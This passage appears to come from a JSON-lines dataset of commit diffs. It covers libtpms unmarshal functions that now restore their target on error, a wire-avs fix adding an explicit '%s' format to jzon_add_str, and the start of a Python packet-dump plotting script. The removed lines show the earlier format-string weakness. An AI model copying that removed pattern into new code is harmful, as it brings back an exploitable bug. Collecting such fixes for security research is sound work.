@@ TPMI_RH_CLEAR_Unmarshal(TPMI_RH_CLEAR *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -998,6 +1060,7 @@ TPM_RC\n TPMI_RH_NV_AUTH_Unmarshal(TPMI_RH_NV_AUTH *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_NV_AUTH orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -1012,6 +1075,7 @@ TPMI_RH_NV_AUTH_Unmarshal(TPMI_RH_NV_AUTH *target, BYTE **buffer, INT32 *size)\n \t\t BOOL isNotNv = (*target < NV_INDEX_FIRST) || (*target > NV_INDEX_LAST);\n \t\t if (isNotNv) {\n \t\t rc = TPM_RC_VALUE;\n+\t\t *target = orig_target; // libtpms added\n \t\t }\n \t }\n \t}\n", "related": false}, {"section": "@@ -1025,6 +1089,7 @@ TPM_RC\n TPMI_RH_LOCKOUT_Unmarshal(TPMI_RH_LOCKOUT *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_LOCKOUT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -1035,6 +1100,7 @@ TPMI_RH_LOCKOUT_Unmarshal(TPMI_RH_LOCKOUT *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -1046,6 +1112,7 @@ TPM_RC\n TPMI_RH_NV_INDEX_Unmarshal(TPMI_RH_NV_INDEX *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_NV_INDEX orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -1054,6 +1121,7 @@ TPMI_RH_NV_INDEX_Unmarshal(TPMI_RH_NV_INDEX *target, BYTE **buffer, INT32 *size)\n \tBOOL isNotNv = (*target < NV_INDEX_FIRST) || (*target > NV_INDEX_LAST);\n \tif (isNotNv) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -1065,6 +1133,7 @@ TPM_RC\n TPMI_RH_AC_Unmarshal(TPMI_RH_AC *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_AC orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -1073,6 +1142,7 @@ TPMI_RH_AC_Unmarshal(TPMI_RH_AC *target, BYTE **buffer, INT32 *size)\n \tBOOL isNotAC = (*target < AC_FIRST) || (*target > AC_LAST);\n \tif (isNotAC) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -1084,6 +1154,7 @@ TPM_RC\n TPMI_RH_ACT_Unmarshal( TPMI_RH_ACT *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_ACT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -1092,6 +1163,7 @@ TPMI_RH_ACT_Unmarshal( TPMI_RH_ACT *target, BYTE **buffer, INT32 *size)\n \tBOOL isNotACT = (*target < TPM_RH_ACT_0) || (*target > TPM_RH_ACT_F);\n \tif (isNotACT) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -1103,6 +1175,7 @@ TPM_RC\n TPMI_ALG_HASH_Unmarshal(TPMI_ALG_HASH *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_HASH orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -1131,6 +1204,7 @@ TPMI_ALG_HASH_Unmarshal(TPMI_ALG_HASH *target, BYTE **buffer, INT32 *size, BOOL\n \t }\n \t default:\n \t rc = TPM_RC_HASH;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -1142,6 +1216,7 @@ TPM_RC\n TPMI_ALG_SYM_Unmarshal(TPMI_ALG_SYM *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_SYM orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -1170,6 +1245,7 @@ TPMI_ALG_SYM_Unmarshal(TPMI_ALG_SYM *target, BYTE **buffer, INT32 *size, BOOL al\n \t }\n \t default:\n \t rc = TPM_RC_SYMMETRIC;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -1181,6 +1257,7 @@ TPM_RC\n TPMI_ALG_SYM_OBJECT_Unmarshal(TPMI_ALG_SYM_OBJECT *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_SYM_OBJECT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -1206,6 +1283,7 @@ TPMI_ALG_SYM_OBJECT_Unmarshal(TPMI_ALG_SYM_OBJECT *target, BYTE **buffer, INT32\n \t }\n \t default:\n \t rc = TPM_RC_SYMMETRIC;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -1217,6 +1295,7 @@ TPM_RC\n TPMI_ALG_SYM_MODE_Unmarshal(TPMI_ALG_SYM_MODE *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_SYM_MODE orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -1248,6 +1327,7 @@ TPMI_ALG_SYM_MODE_Unmarshal(TPMI_ALG_SYM_MODE *target, BYTE **buffer, INT32 *siz\n \t }\n \t default:\n \t rc = TPM_RC_MODE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -1259,6 +1339,7 @@ TPM_RC\n TPMI_ALG_KDF_Unmarshal(TPMI_ALG_KDF *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_KDF orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -1284,6 +1365,7 @@ TPMI_ALG_KDF_Unmarshal(TPMI_ALG_KDF *target, BYTE **buffer, INT32 *size, BOOL al\n \t }\n \t default:\n \t rc = TPM_RC_KDF;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -1295,6 +1377,7 @@ TPM_RC\n TPMI_ALG_SIG_SCHEME_Unmarshal(TPMI_ALG_SIG_SCHEME *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_SIG_SCHEME orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -1329,6 +1412,7 @@ TPMI_ALG_SIG_SCHEME_Unmarshal(TPMI_ALG_SIG_SCHEME *target, BYTE **buffer, INT32\n \t }\n \t default:\n \t rc = TPM_RC_SCHEME;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -1340,6 +1424,7 @@ TPM_RC\n TPMI_ECC_KEY_EXCHANGE_Unmarshal(TPMI_ECC_KEY_EXCHANGE *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ECC_KEY_EXCHANGE orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -1362,6 +1447,7 @@ TPMI_ECC_KEY_EXCHANGE_Unmarshal(TPMI_ECC_KEY_EXCHANGE *target, BYTE **buffer, IN\n \t }\n \t default:\n \t rc = TPM_RC_SCHEME;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -1374,6 +1460,7 @@ TPM_RC\n TPMI_ST_COMMAND_TAG_Unmarshal(TPMI_ST_COMMAND_TAG *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ST_COMMAND_TAG orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ST_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -1385,6 +1472,7 @@ TPMI_ST_COMMAND_TAG_Unmarshal(TPMI_ST_COMMAND_TAG *target, BYTE **buffer, INT32\n \t break;\n \t default:\n \t rc = TPM_RC_BAD_TAG;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -1396,6 +1484,7 @@ TPM_RC\n TPMI_ALG_MAC_SCHEME_Unmarshal(TPMI_ALG_MAC_SCHEME *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_MAC_SCHEME orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -1427,6 +1516,7 @@ TPMI_ALG_MAC_SCHEME_Unmarshal(TPMI_ALG_MAC_SCHEME *target, BYTE **buffer, INT32\n \t }\n \t default:\n \t rc = TPM_RC_SYMMETRIC;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -1438,6 +1528,7 @@ TPM_RC\n TPMI_ALG_CIPHER_MODE_Unmarshal(TPMI_ALG_CIPHER_MODE*target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_CIPHER_MODE orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -1466,6 +1557,7 @@ TPMI_ALG_CIPHER_MODE_Unmarshal(TPMI_ALG_CIPHER_MODE*target, BYTE **buffer, INT32\n \t }\n \t default:\n \t rc = TPM_RC_MODE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -1702,13 +1794,15 @@ TPM_RC\n TPMT_TK_CREATION_Unmarshal(TPMT_TK_CREATION *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_ST orig_tag = target->tag; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ST_Unmarshal(&target->tag, buffer, size);\n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (target->tag != TPM_ST_CREATION) {\n \t rc = TPM_RC_TAG;\n+\t target->tag = orig_tag; // libtpms added\n \t}\n }\n if (rc == TPM_RC_SUCCESS) {\n", "related": false}, {"section": "@@ -1726,13 +1820,15 @@ TPM_RC\n TPMT_TK_VERIFIED_Unmarshal(TPMT_TK_VERIFIED *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_ST orig_tag = target->tag; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ST_Unmarshal(&target->tag, buffer, size);\n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (target->tag != TPM_ST_VERIFIED) {\n \t rc = TPM_RC_TAG;\n+\t target->tag = orig_tag; // libtpms added\n \t}\n }\n if (rc == TPM_RC_SUCCESS) {\n", "related": false}, {"section": "@@ -1750,6 +1846,7 @@ TPM_RC\n TPMT_TK_AUTH_Unmarshal(TPMT_TK_AUTH *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_ST orig_tag = target->tag; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ST_Unmarshal(&target->tag, buffer, size);\n", "related": false}, {"section": "@@ -1758,6 +1855,7 @@ TPMT_TK_AUTH_Unmarshal(TPMT_TK_AUTH *target, BYTE **buffer, INT32 *size)\n \tif ((target->tag != TPM_ST_AUTH_SIGNED) &&\n \t (target->tag != TPM_ST_AUTH_SECRET)) {\n \t rc = TPM_RC_TAG;\n+\t target->tag = orig_tag; // libtpms added\n \t}\n }\n if (rc == TPM_RC_SUCCESS) {\n", "related": false}, {"section": "@@ -1775,13 +1873,15 @@ TPM_RC\n TPMT_TK_HASHCHECK_Unmarshal(TPMT_TK_HASHCHECK *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_ST orig_tag = target->tag; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ST_Unmarshal(&target->tag, buffer, size);\n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (target->tag != TPM_ST_HASHCHECK) {\n \t rc = TPM_RC_TAG;\n+\t target->tag = orig_tag; // libtpms added\n \t}\n }\n if (rc == TPM_RC_SUCCESS) {\n", "related": false}, {"section": "@@ -2386,6 +2486,7 @@ TPM_RC\n TPMI_ST_ATTEST_Unmarshal(TPMI_ST_ATTEST *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ST_ATTEST orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ST_Unmarshal(target, buffer, size);\n", "related": false}, {"section": "@@ -2402,6 +2503,7 @@ TPMI_ST_ATTEST_Unmarshal(TPMI_ST_ATTEST *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_SELECTOR;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -2496,6 +2598,7 @@ TPM_RC\n TPMI_AES_KEY_BITS_Unmarshal(TPMI_AES_KEY_BITS *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_AES_KEY_BITS orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_KEY_BITS_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -2507,6 +2610,7 @@ TPMI_AES_KEY_BITS_Unmarshal(TPMI_AES_KEY_BITS *target, BYTE **buffer, INT32 *siz\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -2518,6 +2622,7 @@ TPM_RC\n TPMI_CAMELLIA_KEY_BITS_Unmarshal(TPMI_CAMELLIA_KEY_BITS *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_CAMELLIA_KEY_BITS orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_KEY_BITS_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -2528,6 +2633,7 @@ TPMI_CAMELLIA_KEY_BITS_Unmarshal(TPMI_CAMELLIA_KEY_BITS *target, BYTE **buffer,\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -2539,6 +2645,7 @@ TPM_RC\n TPMI_SM4_KEY_BITS_Unmarshal(TPMI_SM4_KEY_BITS *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_SM4_KEY_BITS orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_KEY_BITS_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -2549,6 +2656,7 @@ TPMI_SM4_KEY_BITS_Unmarshal(TPMI_SM4_KEY_BITS *target, BYTE **buffer, INT32 *siz\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -2560,6 +2668,7 @@ TPM_RC\n TPMI_TDES_KEY_BITS_Unmarshal(TPMI_SM4_KEY_BITS *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_SM4_KEY_BITS orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_KEY_BITS_Unmarshal(target, buffer, size);\n", "related": false}, {"section": "@@ -2571,6 +2680,7 @@ TPMI_TDES_KEY_BITS_Unmarshal(TPMI_SM4_KEY_BITS *target, BYTE **buffer, INT32 *si\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -2843,6 +2953,7 @@ TPM_RC\n TPMI_ALG_KEYEDHASH_SCHEME_Unmarshal(TPMI_ALG_KEYEDHASH_SCHEME *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_KEYEDHASH_SCHEME orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -2862,6 +2973,7 @@ TPMI_ALG_KEYEDHASH_SCHEME_Unmarshal(TPMI_ALG_KEYEDHASH_SCHEME *target, BYTE **bu\n \t }\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -3246,6 +3358,7 @@ TPM_RC\n TPMI_ALG_ASYM_SCHEME_Unmarshal(TPMI_ALG_ASYM_SCHEME *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_ASYM_SCHEME orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -3289,6 +3402,7 @@ TPMI_ALG_ASYM_SCHEME_Unmarshal(TPMI_ALG_ASYM_SCHEME *target, BYTE **buffer, INT3\n \t }\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -3367,6 +3481,7 @@ TPM_RC\n TPMI_ALG_RSA_SCHEME_Unmarshal(TPMI_ALG_RSA_SCHEME *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_RSA_SCHEME orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -3392,6 +3507,7 @@ TPMI_ALG_RSA_SCHEME_Unmarshal(TPMI_ALG_RSA_SCHEME *target, BYTE **buffer, INT32\n \t }\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -3419,6 +3535,7 @@ TPM_RC\n TPMI_ALG_RSA_DECRYPT_Unmarshal(TPMI_ALG_RSA_DECRYPT *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_RSA_DECRYPT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -3438,6 +3555,7 @@ TPMI_ALG_RSA_DECRYPT_Unmarshal(TPMI_ALG_RSA_DECRYPT *target, BYTE **buffer, INT3\n \t }\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -3478,6 +3596,7 @@ TPM_RC\n TPMI_RSA_KEY_BITS_Unmarshal(TPMI_RSA_KEY_BITS *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RSA_KEY_BITS orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_KEY_BITS_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -3490,6 +3609,7 @@ TPMI_RSA_KEY_BITS_Unmarshal(TPMI_RSA_KEY_BITS *target, BYTE **buffer, INT32 *siz\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -3574,6 +3694,7 @@ TPM_RC\n TPMI_ALG_ECC_SCHEME_Unmarshal(TPMI_ALG_ECC_SCHEME *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_ECC_SCHEME orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -3605,6 +3726,7 @@ TPMI_ALG_ECC_SCHEME_Unmarshal(TPMI_ALG_ECC_SCHEME *target, BYTE **buffer, INT32\n \t }\n \t default:\n \t rc = TPM_RC_SCHEME;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -3616,6 +3738,7 @@ TPM_RC\n TPMI_ECC_CURVE_Unmarshal(TPMI_ECC_CURVE *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ECC_CURVE orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ECC_CURVE_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -3652,6 +3775,7 @@ TPMI_ECC_CURVE_Unmarshal(TPMI_ECC_CURVE *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_CURVE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -3866,6 +3990,7 @@ TPM_RC\n TPMI_ALG_PUBLIC_Unmarshal(TPMI_ALG_PUBLIC *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_PUBLIC orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n", "related": false}, {"section": "@@ -3887,6 +4012,7 @@ TPMI_ALG_PUBLIC_Unmarshal(TPMI_ALG_PUBLIC *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_TYPE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n", "related": false}, {"section": "@@ -4221,13 +4347,15 @@ TPM_RC\n TPMA_NV_Unmarshal(TPMA_NV *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMA_NV orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT32_Unmarshal((UINT32 *)target, buffer, size); /* libtpms changed */\n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (*target & TPMA_NV_RESERVED) {\n \t rc = TPM_RC_RESERVED_BITS;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;", "related": false}]} +{"owner": "wireapp", "repo": "wire-avs", "language": "C", "file_name": "src/audio_level/audio_level.c", "commit_id": "40d373ede795443ae6f2f756e9fb1f4f4ae90bbe", "commit_message": "Import latest release-7.1 files from old repo", "patch": "@@ -141,8 +141,8 @@ int audio_level_json(struct list *levell,\n \n \t\tja = jzon_alloc_object();\n \t\tif (ja) {\n-\t\t\tjzon_add_str(ja, \"userid\", userid);\n-\t\t\tjzon_add_str(ja, \"clientid\", clientid);\n+\t\t\tjzon_add_str(ja, \"userid\", \"%s\", userid);\n+\t\t\tjzon_add_str(ja, \"clientid\", \"%s\", clientid);\n \t\t\tjzon_add_int(ja, \"audio_level\",\n \t\t\t\t (int32_t)a->aulevel_smooth);\n \t\t\tjzon_add_int(ja, \"audio_level_now\",", "sections": [{"section": "@@ -141,8 +141,8 @@ int audio_level_json(struct list *levell,\n \n \t\tja = jzon_alloc_object();\n \t\tif (ja) {\n-\t\t\tjzon_add_str(ja, \"userid\", userid);\n-\t\t\tjzon_add_str(ja, \"clientid\", clientid);\n+\t\t\tjzon_add_str(ja, \"userid\", \"%s\", userid);\n+\t\t\tjzon_add_str(ja, \"clientid\", \"%s\", clientid);\n \t\t\tjzon_add_int(ja, \"audio_level\",\n \t\t\t\t (int32_t)a->aulevel_smooth);\n \t\t\tjzon_add_int(ja, \"audio_level_now\",", "related": false}]} +{"owner": "wireapp", "repo": "wire-avs", "language": "Python", "file_name": "tools/packetdump/extract_video_dump.py", "commit_id": "40d373ede795443ae6f2f756e9fb1f4f4ae90bbe", "commit_message": "Import latest release-7.1 files from old repo", "patch": "@@ -0,0 +1,202 @@\n+from array import *\n+import matplotlib.pyplot as pyplot\n+import sys\n+import os\n+\n+def read_uint8(f):\n+ tmp = f.read(1)\n+ if tmp == \"\": return -1;\n+ out = int(tmp.encode('hex'),16)\n+ return out\n+\n+def read_uint16(f, order='big'):\n+ if order == 'big':\n+ seq = [0,1];\n+ else:\n+ seq = [1,0];\n+ tmp = f.read(2)\n+ if tmp == \"\": return -1;\n+ out = 0\n+ for j in seq: out = (out << 8) + int(tmp[j].encode('hex'),16)\n+ return out\n+\n+def read_uint32(f, order='big'):\n+ if order == 'big':\n+ seq = [0,1,2,3];\n+ else:\n+ seq = [3,2,1,0];\n+ tmp = f.read(4)\n+ out = 0\n+ for j in seq: out = (out << 8) + int(tmp[j].encode('hex'),16)\n+ return out\n+\n+file_name = sys.argv[1];\n+\n+pre, ext = os.path.splitext(file_name)\n+\n+f = open(file_name,\"rb\")\n+try:\n+ byte = f.read(30)\n+ print byte\n+ length = read_uint16(f);\n+ D_min = 0xffffffff;\n+ packets = 0;\n+ while length != -1:\n+ plen = read_uint16(f);\n+ time = read_uint32(f);\n+ Vp8Len = read_uint32(f);\n+ tmp = read_uint8(f);\n+ pt = read_uint8(f);\n+ seq = read_uint16(f);\n+ timestamp = read_uint32(f);\n+ ssrc = read_uint32(f);\n+ byte = f.read(18)\n+ packets = packets + 1;\n+ D = time - timestamp/90;\n+ if(D < D_min): D_min = D\n+ length = read_uint16(f);\n+finally:\n+ f.close()\n+\n+f = open(file_name,\"rb\")\n+try:\n+ byte = f.read(30)\n+ length = read_uint16(f);\n+ packets = 0;\n+ timeTot = array('f',[]);\n+ timeBase = array('f',[]);\n+ timeRtx = array('f',[]);\n+ dTot = array('L',[]);\n+ dBase = array('L',[]);\n+ dRtx = array('f',[]);\n+ Vp8Len = array('L',[]);\n+ timestampBuf = array('L',[]);\n+ seqBuf = array('L',[]);\n+ ptBuf = array('L',[]);\n+ D_min_smth = time * 0.0001;\n+ alpha = 0.0001;\n+ prev_timestamp = -1;\n+ rtxPt = -1000;\n+ while length != -1:\n+ plen = read_uint16(f);\n+ time = read_uint32(f);\n+ timeTot.append(float(time)/1000.0);\n+ Vp8Len.append(read_uint32(f,'little'));\n+ tmp = read_uint8(f);\n+ pt = read_uint8(f);\n+ ptBuf.append(pt);\n+ seq = read_uint16(f);\n+ seqBuf.append(seq);\n+ timestamp = read_uint32(f);\n+ timestampBuf.append(timestamp);\n+ ssrc = read_uint32(f);\n+ byte = f.read(18);\n+ d = time - timestamp/90;\n+ d = d - D_min;\n+ if d < D_min_smth:\n+ D_min_smth = d;\n+ else:\n+ D_min_smth = D_min_smth*(1-alpha) + d*alpha;\n+ d = d - int(D_min_smth)\n+ dTot.append(d);\n+ if (pt == 100 or pt == 228):\n+ dBase.append(d);\n+ timeBase.append(float(time)/1000.0);\n+ else:\n+ dRtx.append(d);\n+ timeRtx.append(float(time)/1000.0);\n+ rtxPt = pt & 0x7f;\n+ packets = packets + 1;\n+ length = read_uint16(f);\n+finally:\n+ f.close()\n+\n+maxD = max(dTot);\n+#if maxD > 1000:\n+ #maxD = 1000;\n+pyplot.figure();\n+pyplot.subplot(3,1,1);\n+pyplot.plot(timeTot,dTot);\n+pyplot.xlim(min(timeTot), 